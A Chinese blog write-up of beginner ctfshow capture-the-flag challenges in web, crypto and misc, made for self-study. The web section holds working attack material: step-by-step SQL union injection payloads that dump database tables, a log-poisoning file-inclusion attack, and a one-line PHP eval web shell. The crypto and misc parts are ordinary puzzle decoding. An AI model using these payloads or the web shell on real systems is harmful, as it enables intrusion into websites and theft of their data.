ctfshow刷题记录2(web crypto misc)

简单记录一下自己做题的过程,方便以后进行复习
WEB、Crypto、MISC都涉及一些(入门级别,不是很难,希望得到师傅们的建议)
主要是多做题获得到解题的思路和经验

WEB1

F12查看网页信息
在这里插入图片描述

base64解码
在这里插入图片描述

WEB2

考察:SQL手工注入
必要知识点:在Mysql5.0以上版本中,Mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据名、表名、列名的数据库,也相当于查询它就能获取数据库的相关信息,这种查询方法也被称为联合查询。
需要收集的相关信息:
版本——version()
名字——database()
用户——user()
操作系统——@@version_compile_OS
information_schema.tables 记录所有表名信息的表
information_schema.columns 记录所有列名信息的表
table_name 表名
column_name 列名
table_schema 数据库名
limit 1,x 猜解多个数据
#-- 注释(有多种注释方法)
手工注入的过程:
(1)判断注入点
这里是一个登陆界面,那么注入点就只可能在用户名处
在这里插入图片描述
获取字段数,用order by x 一个个试,有回显则说明正确

' or 1=1 order by 3 #

这里成功试出数据库字段为3
在这里插入图片描述

' or 1=1 union select 1,2,3 limit 1,2 #

通过上述语句得到相应可以获取信息的字段在2的位置
在这里插入图片描述
(2)获取数据库名

' or 1=1 union select 1,database(),3 limit 1,2 #

数据库:web2
在这里插入图片描述
(3)查询所有的表名信息

' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2' limit 1,2 #

获得所有的表名,这里一共有两张表flag和user
在这里插入图片描述
(4)查询指定表名flag下的列名信息

' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' limit 1,2 #

列名也为flag
在这里插入图片描述
(5)获取flag表记录的值

' or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#-- 

在这里插入图片描述

WEB3

文件上传+php+burp抓包
在这里插入图片描述
cat ctf_go_go_go
获得flag
在这里插入图片描述

WEB4

发现文件包含漏洞
在这里插入图片描述

访问/?url=/var/log/nginx/access.log日志文件
在这里插入图片描述

传ma用蚁剑连接

<?php @eval($_POST['123']);?>

在这里插入图片描述
在这里插入图片描述

获得flag.txt
在这里插入图片描述

crypto2

发现是JSfuck编码,直接用JSfuck解密即可
在这里插入图片描述

crypto3

发现是AAencode编码,直接解密得到flag
在这里插入图片描述

crypto4

这题考察的是RSA密码体系的构建,现在两个素数p、q以及公钥e都给出来了,要我们求出私钥d
数学原理很简单就是ed模φ(p*q)=φ§φ(q)=(p-1)(q-1)与1同余,即可求出d
在这里插入图片描述

可以使用RSA-Tool 2
依次输入p、q、n、e
其中n=p*q,e为公钥,这里e是要写成十六进制的形式
在这里插入图片描述
也可以用脚本跑出来
脚本如下:

def computeD(fn, e):
    (x, y, r) = extendedGCD(fn, e)
    #y maybe < 0, so convert it
    if y < 0:
        return fn + y
    return y

def extendedGCD(a, b):
    #a*xi + b*yi = ri
    if b == 0:
        return (1, 0, a)
    #a*x1 + b*y1 = a
    x1 = 1
    y1 = 0
    #a*x2 + b*y2 = b
    x2 = 0
    y2 = 1
    while b != 0:
        q = a / b
        #ri = r(i-2) % r(i-1)
        r = a % b
        a = b
        b = r
        #xi = x(i-2) - q*x(i-1)
        x = x1 - q*x2
        x1 = x2
        x2 = x
        #yi = y(i-2) - q*y(i-1)
        y = y1 - q*y2
        y1 = y2
        y2 = y
    return(x1, y1, a)

def rsa(p, q, e):
    n = p * q
    fn = (p - 1) * (q - 1)
    d = computeD(fn, e)
    return d


p = eval(input())
q = eval(input())
e = eval(input())
print(rsa(p,q,e))

crypto5

这题考察RSA密码体系的解密过程
p=447685307 q=2037 e=17 c=704796792
n=p*q=911,934,970,359
由上题计算得到d=53616899001
在这里插入图片描述
依次输出,即可计算出m
在这里插入图片描述
使用大数计算工具可以计算出m=904332399012

crypto6

Rabbit加密
在这里插入图片描述

MISC2

用kali的file命令查看file文件类型,发现它是DOS/MBR,一种软盘分区文件
在这里插入图片描述

创建个虚拟机添加软盘试试打开
在这里插入图片描述

得到flag
在这里插入图片描述

MISCx

hint.txt和flag.txt都有密码,只能解压misc1.zip
在这里插入图片描述
解压misc1.zip过后,发现music.doc加密了,但是misc.png能打开,直接打开发现2020,猜测这个是doc文件的密码
在这里插入图片描述
misc.png打开得到2020的图片
在这里插入图片描述
试着用2020打开music.doc
在这里插入图片描述
打开后发现一串加密的文本,很容易猜到这是音乐乐符加密密文
在这里插入图片描述

♭‖♭‖‖♯♭♭♬‖♩♫‖♬∮♭♭¶♭‖♯‖¶♭♭‖∮‖‖♭‖§♭‖♬♪♭♯§‖‖♯‖‖♬‖‖♪‖‖♪‖¶§‖‖♬♭♯‖♭♯♪‖‖∮‖♬§♭‖‖‖♩♪‖‖♬♭♭♬‖♩♪‖♩¶‖♩♪‖♩♬‖¶§‖‖♩‖¶♫♭♭♩‖♬♯‖♬§♭‖♭‖♩¶‖‖∮♭♭♬‖‖♭‖♫§‖¶♫‖♩∮♭♭§‖♭§‖♭§§=

这个是音乐字符加解密的在线网站地址:https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue

在这里插入图片描述
解密得到:

U2FsdGVkX1/eK2855m8HM4cTq8Fquqtm6QDbcUu4F1yQpA==

这看起来好像是rabbit的密文,因为压缩包里面备注有提示,先去试试去解密看看,密码还是2020

在这里插入图片描述

得到:

welcome_to_payhelp

使用上面解密得到的密码可以解压得到hint.txt

在这里插入图片描述

经过6次base64解密可以得到

在这里插入图片描述

这里有一些URL编码,可以对照下表找到对应的字符
在这里插入图片描述
所以可以得到flag.txt的解压密码是hello 2020!

在这里插入图片描述

善始者实繁,克终者盖寡。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_AaRong_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值